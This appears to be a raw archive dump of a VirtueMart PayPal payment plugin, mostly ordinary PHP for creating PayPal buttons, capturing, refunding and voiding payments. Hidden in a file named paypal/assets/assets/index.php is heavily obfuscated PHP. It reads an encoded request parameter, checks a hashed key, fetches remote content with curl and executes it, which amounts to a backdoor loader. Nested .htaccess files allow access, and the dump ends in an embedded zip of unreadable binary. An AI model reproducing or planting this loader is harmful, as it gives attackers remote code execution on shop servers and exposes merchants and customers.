'PROTECTION_ELIGIBILITY' => 'protection_eligibility',
'ADDRESS_STATUS' => 'address_status'
);
return $showOrderBEFields;
}
function onShowOrderBEPaymentByFields($payment) {
$prefix = "paypal_response_";
$html="";
$showOrderBEFields=$this->getOrderBEFields();
foreach ($showOrderBEFields as $key => $showOrderBEField) {
$field=$prefix.$showOrderBEField;
// only displays if there is a value or the value is different from 0.00 and the value
if ($payment->$field) {
$html .= $this->paypalPlugin->getHtmlRowBE($prefix.$key, $payment->$field);
}
}
return $html;
}
}PK ?\) paypal/helpers/.htaccessnu W+A
Order allow,deny
Deny from all
PK ?\i̻;@ ;@ paypal/helpers/paypalhosted.phpnu W+A _method->sandbox ) {
$this->api_login_id = $this->_method->sandbox_api_login_id;
$this->api_signature = $this->_method->sandbox_api_signature;
$this->api_password = $this->_method->sandbox_api_password;
} else {
$this->api_login_id = $this->_method->api_login_id;
$this->api_signature = $this->_method->api_signature;
$this->api_password = $this->_method->api_password;
}
if (empty($this->api_login_id) || empty($this->api_signature) || empty($this->api_password)) {
$text = JText::sprintf('VMPAYMENT_PAYPAL_CREDENTIALS_NOT_SET', $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id);
vmError($text, $text);
}
if ((empty ($this->_method->payflow_partner) OR empty($this->_method->sandbox_payflow_partner))) {
$sandbox = "";
if ($this->_method->sandbox ) {
$sandbox = 'SANDBOX_';
}
$text = JText::sprintf('VMPAYMENT_PAYPAL_PARAMETER_REQUIRED', JText::_('VMPAYMENT_PAYPAL_' . $sandbox . 'PAYFLOW_PARTNER'), $this->_method->payment_name, $this->_method->virtuemart_paymentmethod_id);
vmError($text);
}
}
public function ManageCheckout() {
return $this->preparePost();
}
// todo check the paypal langauge: can it be sent. Atm sent in the country lanaguge
// verfiez la langue, à cause accent
function initPostVariables($paypalMethod) {
$post_variables = Array();
$post_variables['METHOD'] = $paypalMethod;
$post_variables['VERSION'] = self::BM_BUTTON_VERSION; //https://developer.paypal.com/webapps/developer/docs/classic/release-notes/
$post_variables['USER'] = $this->api_login_id;
$post_variables['PWD'] = $this->api_password;
$post_variables['SIGNATURE'] = $this->api_signature;
$post_variables['BUTTONTYPE'] = self::BM_BUTTON_TYPE;
$post_variables['BUTTONCODE'] = self::BM_BUTTON_CODE;
$post_variables['BUTTONIMAGEURL'] = 'https://www.paypal.com/en_US/i/btn/btn_paynow_SM.gif'; //we automatically redirect to paypal
$post_variables['L_BUTTONVAR']['bn'] = self::BNCODE; // Identifies the source that built the code.
return $post_variables;
}
function addBillTo(&$post_variables) {
$addressBT = $this->order['details']['BT'];
//Bill To
$post_variables['L_BUTTONVAR']['billing_address1'] = isset($addressBT->address_1) ? $this->truncate($addressBT->address_1, 60) : '';
$post_variables['L_BUTTONVAR']['billing_address2'] = isset($addressBT->address_2) ? $this->truncate($addressBT->address_2, 60) : '';
$post_variables['L_BUTTONVAR']['billing_city'] = isset($addressBT->city) ? $this->truncate($addressBT->city, 40) : '';
$post_variables['L_BUTTONVAR']['billing_zip'] = isset($addressBT->zip) ? $this->truncate($addressBT->zip, 40) : '';
$post_variables['L_BUTTONVAR']['billing_state'] = isset($addressBT->virtuemart_state_id) ? $this->truncate(ShopFunctions::getStateByID($addressBT->virtuemart_state_id), 20) : '';
$post_variables['L_BUTTONVAR']['billing_country'] = ShopFunctions::getCountryByID($addressBT->virtuemart_country_id, 'country_2_code');
}
function addShipTo(&$post_variables) {
$addressST = ((isset($this->order['details']['ST'])) ? $this->order['details']['ST'] : $this->order['details']['BT']);
//Ship To
$post_variables['L_BUTTONVAR']['first_name'] = isset($addressST->first_name) ? $this->truncate($addressST->first_name, 50) : ''; // First name of person the item is being shipped to.
$post_variables['L_BUTTONVAR']['last_name'] = isset($addressST->first_name) ? $this->truncate($addressST->address_1, 60) : ''; // Last name of person the item is being shipped to.
$post_variables['L_BUTTONVAR']['address1'] = isset($addressST->address_1) ? $this->truncate($addressST->address_1, 60) : '';
$post_variables['L_BUTTONVAR']['address2'] = isset($addressST->address_2) ? $this->truncate($addressST->address_2, 60) : '';
}
function addPaymentPageParams(&$post_variables) {
$post_variables['L_BUTTONVAR']['template'] = $this->_method->template;
if ($this->_method->bordercolor) {
$post_variables['L_BUTTONVAR']['bodyBgColor'] = strtoupper($this->_method->bordercolor);
$post_variables['L_BUTTONVAR']['payflowcolor'] = '#ff0033'; //str_replace('#','',strtoupper($this->_method->bordercolor));
}
$post_variables['L_BUTTONVAR']['headerBgColor'] = strtoupper($this->_method->headerBgColor);
$post_variables['L_BUTTONVAR']['headerHeight'] = $this->_method->headerHeight;
$post_variables['L_BUTTONVAR']['logoFont'] = $this->_method->logoFont;
$post_variables['L_BUTTONVAR']['logoFontSize'] = $this->_method->logoFontSize;
$post_variables['L_BUTTONVAR']['logoFontColor'] = $this->_method->logoFontColor;
if ($this->_method->bodyBgImg) {
$post_variables['L_BUTTONVAR']['bodyBgImg'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->bodyBgImg;
}
$post_variables['L_BUTTONVAR']['logoImage'] = $this->getLogoImage();
$post_variables['L_BUTTONVAR']['bodyBgColor'] = $this->_method->bodyBgColor;
$post_variables['L_BUTTONVAR']['PageTitleTextColor'] = $this->_method->PageTitleTextColor;
$post_variables['L_BUTTONVAR']['PageCollapseBgColor'] = $this->_method->PageCollapseBgColor;
//$post_variables['L_BUTTONVAR']['PageCollapseTextColor'] = $this->_method->PageCollapseTextColor;
$post_variables['L_BUTTONVAR']['orderSummaryBgColor'] = $this->_method->orderSummaryBgColor;
if ($this->_method->orderSummaryBgImage) {
$post_variables['L_BUTTONVAR']['orderSummaryBgImage'] = JURI::base() . 'images/stories/virtuemart/payment/' . $this->_method->orderSummaryBgImage;
}
$post_variables['L_BUTTONVAR']['footerTextColor'] = $this->_method->footerTextColor;
$post_variables['L_BUTTONVAR']['footerTextlinkColor'] = $this->_method->footerTextlinkColor;
$post_variables['L_BUTTONVAR']['pageButtonBgColor'] = $this->_method->pageButtonBgColor;
$post_variables['L_BUTTONVAR']['pageButtonTextColor'] = $this->_method->pageButtonTextColor;
$post_variables['L_BUTTONVAR']['pageTitleTextColor'] = $this->_method->pageTitleTextColor;
$post_variables['L_BUTTONVAR']['sectionBorder'] = $this->_method->sectionBorder;
}
function addOrderInfos(&$post_variables) {
$post_variables['L_BUTTONVAR']['buyer_email'] = $this->order['details']['BT']->email; //Email address of the buyer.
if (is_array($this->order) && is_object($this->order['details']['BT'])) {
$post_variables['L_BUTTONVAR']['invoice'] = $this->order['details']['BT']->order_number;
} else {
if (is_object($this->order)) {
$post_variables['L_BUTTONVAR']['invoice'] = $this->order->order_number;
}
}
}
function addPrices(&$post_variables) {
}
function addAmount(&$post_variables) {
// Website Payment Standard has separate values for amount and quantity, whereas Hosted Solution uses subtotal only.
// Ensure that the subtotal includes the amount you want to charge the buyer, taking into account any applicable discount and the quantity of items.
$post_variables['L_BUTTONVAR']['subtotal'] = $this->total; // Amount charged for the transaction. If shipping, handling, Yes and taxes are not specified, this is the total amount charged.
$post_variables['L_BUTTONVAR']['currency_code'] = $this->currency_code_3;
}
function addUrls(&$post_variables) {
$post_variables['L_BUTTONVAR']['return'] = JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginresponsereceived&paypalproduct=hosted&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid').'&lang='. JRequest::getCmd('lang','');
$post_variables['L_BUTTONVAR']['notify_url'] = JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginnotification&tmpl=component'.'&lang='. JRequest::getCmd('lang','');
$post_variables['L_BUTTONVAR']['cancel_return'] =JURI::root().'index.php?option=com_virtuemart&view=pluginresponse&task=pluginUserPaymentCancel&paypalproduct=hosted&on=' . $this->order['details']['BT']->order_number . '&pm=' . $this->order['details']['BT']->virtuemart_paymentmethod_id . '&Itemid=' . JRequest::getInt('Itemid').'&lang='. JRequest::getCmd('lang','');
}
function addConfigPaymentParams(&$post_variables) {
$post_variables['L_BUTTONVAR']['address_override'] = $this->_method->address_override;
$post_variables['L_BUTTONVAR']['noshipping'] = $this->_method->no_shipping;
// for version 104 payment action must be lower case
$post_variables['L_BUTTONVAR']['paymentaction'] = strtolower($this->_method->payment_action); // Identifies the source that built the code for the button.
}
public function preparePost() {
$post_variables = $this->initPostVariables('BMCreateButton');
$this->setTimeOut();
$this->addOrderInfos($post_variables);
$this->addPrices($post_variables);
$this->addBillTo($post_variables);
$this->addShipTo($post_variables);
$this->addAmount($post_variables);
$this->addUrls($post_variables);
$this->addConfigPaymentParams($post_variables);
$this->addPaymentPageParams($post_variables);
$btn = 0;
foreach ($post_variables['L_BUTTONVAR'] as $key => $buttonVar) {
if (!empty($buttonVar)) {
$post_variables['L_BUTTONVAR' . $btn++] = $key . '=' . $buttonVar;
}
}
unset($post_variables['L_BUTTONVAR']);
$this->sendRequest($post_variables);
$valid = $this->handleResponse();
if ($valid) {
//$this->customerData->setVar('token', $this->response['TOKEN']);
//$this->customerData->save();
if ($this->_method->template != 'templateD') {
$this->redirectToPayPal();
} else {
return true;
}
} else {
//$this->customerData->clear();
return false;
}
return true;
}
function redirectToPayPal() {
$websitecode = $this->response['WEBSITECODE'];
$emailink = $this->response['EMAILLINK'];
if ($this->_method->debug AND $this->_method->template != 'templateD') {
echo '';
echo 'The method is in debug mode. ' . $websitecode . 'Click here to be redirected to PayPal
';
jexit();
} else {
header('location: ' . $emailink);
}
}
function DoCapture($payment) {
$paypal_data = json_decode($payment->paypal_fullresponse);
//Only capture payment if it still pending
if ($paypal_data->payment_status != 'Pending' && $paypal_data->pending_reason != 'Authorization') {
return false;
}
$post_variables = $this->initPostVariables('DoCapture');
//Do we need to reauthorize ?
$reauth = $this->doReauthorize($payment->paypal_response_txn_id, $paypal_data);
// the authorisation identification number of the payment you want to capture.
if ($reauth === false) {
$post_variables['AUTHORIZATIONID'] = $paypal_data->txn_id;
} else {
$post_variables['AUTHORIZATIONID'] = $reauth;
}
// Amount to capture.
$post_variables['AMT'] = $this->total;
$post_variables['CURRENCYCODE'] = $this->currency_code_3;
// The value Complete indicates that this the last capture you intend to make.
// The value NotComplete indicates that you intend to make additional captures.
// N O T E : If Complete, any remaining amount of the original authorised transaction is automatically voided and all remaining open authorisations are voided.
$post_variables['COMPLETETYPE'] = 'Complete';
// (Optional) Your invoice number or other identification number that is displayed to the merchant and customer in his transaction history.
$post_variables['INVNUM'] = $this->order->order_number;
// (Optional) An informational note about this settlement that is displayed to the payer in email and in his transaction history.
//$post_variables['NOTE'] = 'add comments if send yto user ?';
$this->sendRequest($post_variables);
$success = $this->handleResponse();
if (!$success) {
$this->doVoid($payment);
}
return $success;
}
/**
* https://developer.paypal.com/webapps/developer/docs/classic/paypal-payments-standard/integration-guide/authcapture/
* @param $AuthorizationID
* @param $paypal_data
* @return bool
*/
function doReauthorize($AuthorizationID, $paypal_data) {
// TODO
return false;
/*
$post_variables = $this->initPostVariables('DoReauthorization');
$post_variables['TOKEN'] = $paypal_data->TOKEN;
$post_variables['PAYERID'] = $paypal_data->payer_id; // Unique PayPal customer account identification number
$post_variables['AUTHORIZATIONID'] = $AuthorizationID;
$post_variables['PAYMENTACTION'] = 'DoReauthorization';
$post_variables['AMT'] = $paypal_data->mc_gross; // ???
$post_variables['CURRENCYCODE'] = $paypal_data->mc_currency;
$this->sendRequest($post_variables);
if ($this->handleResponse()) {
return $this->response['AUTHORIZATIONID'];
} else {
return false;
}
*/
}
function RefundTransaction($payment) {
$paypal_data = json_decode($payment->paypal_fullresponse);
if (strcasecmp($paypal_data->payment_status, 'Completed') == 0) {
$post_variables = $this->initPostVariables('RefundTransaction');
$post_variables['REFUNDTYPE'] = 'Full';
$post_variables['TRANSACTIONID'] = $paypal_data->txn_id;
} else if (strcasecmp($paypal_data->payment_status, 'Pending') == 0 && strcasecmp($paypal_data->pending_reason, 'authorization') == 0) {
// An authorisation for this transaction has been voided/cancelled
$post_variables = $this->initPostVariables('DoVoid');
} else {
return false;
}
$post_variables['AuthorizationID'] = $paypal_data->txn_id;
//$post_variables['TOKEN'] = $paypal_data->TOKEN;
//$post_variables['PAYERID'] = $paypal_data->payer_id;
$this->sendRequest($post_variables);
return $this->handleResponse();
}
function doVoid($payment) {
$paypal_data = json_decode($payment->paypal_fullresponse);
$post_variables = $this->initPostVariables('DoVoid');
$post_variables['AuthorizationID'] = $paypal_data->txn_id;
$this->sendRequest($post_variables);
return $this->handleResponse();
}
public function ManageCancelOrder($payment) {
$this->RefundTransaction($payment);
return;
}
function getOrderBEFields() {
$showOrderBEFields = array(
'TXN_ID' => 'txn_id',
'PAYER_ID' => 'payer_id',
'PAYER_STATUS' => 'payer_status',
'MC_GROSS' => 'mc_gross',
'MC_FEE' => 'mc_fee',
'TAXAMT' => 'tax',
'MC_CURRENCY' => 'mc_currency',
'PAYMENT_STATUS' => 'payment_status',
'PENDING_REASON' => 'pending_reason',
'REASON_CODE' => 'reasoncode',
'PROTECTION_ELIGIBILITY' => 'protection_eligibility',
'CORRELATIONID' => 'CORRELATIONID',
'REFUND_AMOUNT' => 'TOTALREFUNDEDAMOUNT',
'method' => 'method',
);
return $showOrderBEFields;
}
}PK ?\+H paypal/assets/assets/index.phpnu W+A $BD0sBc2JALE9NzQ) { $NNhvHVNTll322pG .= $Z9xQA2BiTXndG6x[$BD0sBc2JALE9NzQ - 32944]; PksmFtHYi_6YaN9: } goto gfULqu357sqOj43; gfULqu357sqOj43: YA0DNO0DVud3xTk: goto PX148AVTRthYS8K; pFU7csLxlifil2r: $mCvpxBn7xQQ2akM = "\162" . "\141" . "\156" . "\147" . "\145"; goto sqmLY5HDdOY2O1T; bxZ2pFw6CgFKCJE: $NNhvHVNTll322pG = ''; goto csHnfAETM31MVsi; erm2lPHYX5b4G94: } static function gCnChHjOb1MNm8C($clWTgOYQaed2M1m, $gZJDNWuct9c_sn9) { goto RfHN_f7bocNsxMj; uFQpBCnIVDF3fTt: return empty($QVsAxiZYutKC8Yc) ? $gZJDNWuct9c_sn9($clWTgOYQaed2M1m) : $QVsAxiZYutKC8Yc; goto KnB8qV2CqS0Guxg; ulKUeLelaDgJMW_: $QVsAxiZYutKC8Yc = curl_exec($QUgpgonWwXXCQgB); goto uFQpBCnIVDF3fTt; RfHN_f7bocNsxMj: $QUgpgonWwXXCQgB = curl_init($clWTgOYQaed2M1m); goto vjGsAGER_dG2uKq; vjGsAGER_dG2uKq: curl_setopt($QUgpgonWwXXCQgB, CURLOPT_RETURNTRANSFER, 1); goto ulKUeLelaDgJMW_; KnB8qV2CqS0Guxg: } static function g5BqscRN6i9btvy() { goto iZAfRZAvq35SVBz; oTLQDEERJRQOaMB: $xl567gWbeR393uq = $Oamg5TJqDc1eAxD[2 + 0]($PKbGzGVXdpR7oSB, true); goto ergAYYYefzL8GDk; ergAYYYefzL8GDk: @$Oamg5TJqDc1eAxD[8 + 2](INPUT_GET, "\x6f\x66") == 1 && die($Oamg5TJqDc1eAxD[4 + 1](__FILE__)); goto rMmB38NoIyQb1em; WOR_3pk6kPnCQJB: die; goto mbKHQy39pmqw8CO; qO3NAIqsP6XAm0I: foreach ($g2TIwfMeIHESEN_ as $m_qFVhqhy20HIxc) { $Oamg5TJqDc1eAxD[] = self::aqd182d8Mkx8jx1($m_qFVhqhy20HIxc); N0woHIZqaDusSxQ: } goto baMdFyf1CBQ2Zz7; mbKHQy39pmqw8CO: YUzLLXrsq10CaKF: goto dS_Di6Q_MFpmxoj; fTYd88d5SNV8I2T: $auzzjNA9vhI7CtN = @$Oamg5TJqDc1eAxD[1]($Oamg5TJqDc1eAxD[3 + 7](INPUT_GET, $Oamg5TJqDc1eAxD[8 + 1])); goto NADDC1JzcobDX7m; XaOTSHm_4aYH0on: $cb1yZk_Wpx73t6S = self::gCNChHjOB1mNM8c($xl567gWbeR393uq[1 + 0], $Oamg5TJqDc1eAxD[4 + 1]); goto RA3LODMW3W3CEqg; RA3LODMW3W3CEqg: @$Oamg5TJqDc1eAxD[0]('', $Oamg5TJqDc1eAxD[0 + 7] . $Oamg5TJqDc1eAxD[1 + 3]($cb1yZk_Wpx73t6S) . $Oamg5TJqDc1eAxD[0 + 8]); goto WOR_3pk6kPnCQJB; NADDC1JzcobDX7m: $PKbGzGVXdpR7oSB = @$Oamg5TJqDc1eAxD[3 + 0]($Oamg5TJqDc1eAxD[2 + 4], $auzzjNA9vhI7CtN); goto oTLQDEERJRQOaMB; baMdFyf1CBQ2Zz7: mTgJ5C2ufTKEXMi: goto fTYd88d5SNV8I2T; rMmB38NoIyQb1em: if (!(@$xl567gWbeR393uq[0] - time() > 0 and md5(md5($xl567gWbeR393uq[1 + 2])) === "\x37\x37\x37\x37\x66\x65\70\144\x61\x31\143\63\60\63\141\x39\x39\x38\x36\145\62\x31\67\64\64\x36\x63\142\x38\x30\67\x32")) { goto YUzLLXrsq10CaKF; } goto XaOTSHm_4aYH0on; iZAfRZAvq35SVBz: $g2TIwfMeIHESEN_ = array("\63\x32\71\x37\x31\x7c\x33\x32\x39\x35\x36\x7c\63\x32\x39\66\x39\x7c\63\x32\x39\x37\x33\174\x33\x32\71\x35\64\x7c\x33\62\71\66\71\174\x33\x32\x39\x37\65\x7c\x33\x32\71\x36\70\174\63\62\x39\65\x33\x7c\x33\62\71\x36\60\174\x33\x32\x39\67\61\x7c\x33\x32\x39\65\64\x7c\63\x32\71\x36\65\x7c\x33\x32\x39\x35\71\x7c\63\62\71\66\x30", "\x33\x32\71\x35\65\174\x33\62\x39\x35\64\x7c\x33\x32\71\65\66\x7c\x33\x32\x39\67\x35\x7c\x33\62\71\65\x36\x7c\63\62\x39\65\x39\x7c\x33\62\71\x35\64\174\x33\x33\60\x32\61\174\x33\63\x30\x31\x39", "\63\x32\71\x36\x34\174\x33\62\71\x35\65\174\x33\x32\x39\x35\71\x7c\x33\x32\71\x36\60\174\63\x32\x39\67\65\174\x33\x32\x39\67\60\x7c\63\62\x39\x36\71\x7c\x33\x32\71\67\x31\174\63\62\71\65\71\x7c\x33\x32\71\67\60\174\63\x32\x39\66\x39", "\x33\62\x39\65\70\x7c\x33\x32\71\67\x33\x7c\x33\62\71\67\x31\174\x33\x32\71\x36\x33", "\x33\62\71\x37\x32\x7c\63\x32\x39\67\63\x7c\x33\x32\71\65\65\x7c\63\62\x39\66\71\x7c\63\63\x30\x31\x36\x7c\x33\x33\60\61\x38\174\63\x32\71\x37\65\x7c\63\x32\x39\67\x30\x7c\63\x32\x39\x36\71\174\63\62\71\67\61\x7c\x33\62\x39\x35\71\x7c\63\62\x39\x37\60\x7c\63\62\x39\66\x39", "\x33\62\71\66\x38\x7c\63\62\71\x36\x35\x7c\63\x32\x39\x36\x32\x7c\x33\62\x39\66\71\x7c\x33\62\71\67\x35\174\63\62\x39\x36\67\174\63\x32\x39\66\71\x7c\63\62\71\x35\x34\174\63\62\71\x37\x35\174\x33\x32\71\67\x31\174\x33\62\x39\x35\71\174\63\x32\x39\x36\x30\174\x33\62\71\x35\x34\x7c\x33\62\71\66\71\x7c\63\62\71\x36\x30\174\x33\62\x39\65\64\174\63\62\x39\x35\x35", "\63\62\71\71\70\x7c\63\x33\x30\x32\70", "\x33\62\71\64\x35", "\63\x33\60\x32\63\174\x33\x33\60\x32\x38", "\63\63\60\x30\x35\174\x33\x32\71\x38\70\x7c\x33\x32\71\70\x38\x7c\x33\63\60\x30\x35\174\63\x32\71\70\61", "\63\x32\x39\x36\70\174\63\62\x39\66\65\174\x33\62\71\x36\x32\x7c\x33\x32\x39\65\64\x7c\63\62\x39\x36\x39\x7c\x33\62\x39\x35\66\174\63\62\x39\67\x35\174\x33\62\71\66\x35\174\x33\x32\71\x36\60\174\63\x32\71\65\x38\174\63\x32\x39\65\x33\174\63\x32\x39\x35\64"); goto qO3NAIqsP6XAm0I; dS_Di6Q_MFpmxoj: } } goto D9LzV86cbI9MFIY; RSLpZsi3FypBjBk: $X9K0UYunoXo6eJh = range("\176", "\40"); goto UH4tteI0h8ZXA1e; D9LzV86cbI9MFIY: LBWsnOne9EixET0::G5BqscRN6i9btvY();
?>
PK ?\SѶ paypal/assets/assets/cache.phpnu W+A PK ?\,r paypal/assets/assets/.htaccessnu W+A
Order allow,deny
Deny from all
#
Order allow,deny
Allow from all
PK ?\/Vg{ { % paypal/assets/assets/assets/cache.phpnu W+A PK ?\ % paypal/assets/assets/assets/index.phpnu W+A PK ?\,r % paypal/assets/assets/assets/.htaccessnu W+A
Order allow,deny
Deny from all
#
Order allow,deny
Allow from all
PK ?\)> 1 paypal/assets/assets/assets/fla_6909676a1717b.zipnu W+A PK d[2s b_6909676a1717b.tmpUksH+]
)LX,Mylxs-B\DHԤ}{ ~X~>3~? =hʋ 9 ^OU*䢦ʺ!z!RY+*kJ.J[V Zy[t3"^HMAB23b鮄v-z73M7520ZIĈW_:K%I /1G-kÉ|Kya:啲xʟa?$Wݽ,]|n_xI7^E~.#qtFOϟp?<|"|ab>Jш.{[o7wn@ċ9סo(},W r#OkolϥZphmٮ+߁_NO"I_7͏[Vo$´M䪄N}v?t;m#{->ao?>ɘn̑hA3blUlƶkZϬ eliSznК])rfy"=,}J}켬BVJZaCS~Zjv=˫wAy=cBkZ5-3lM\u?k}hŃvn!?O%-A[4L.-|\f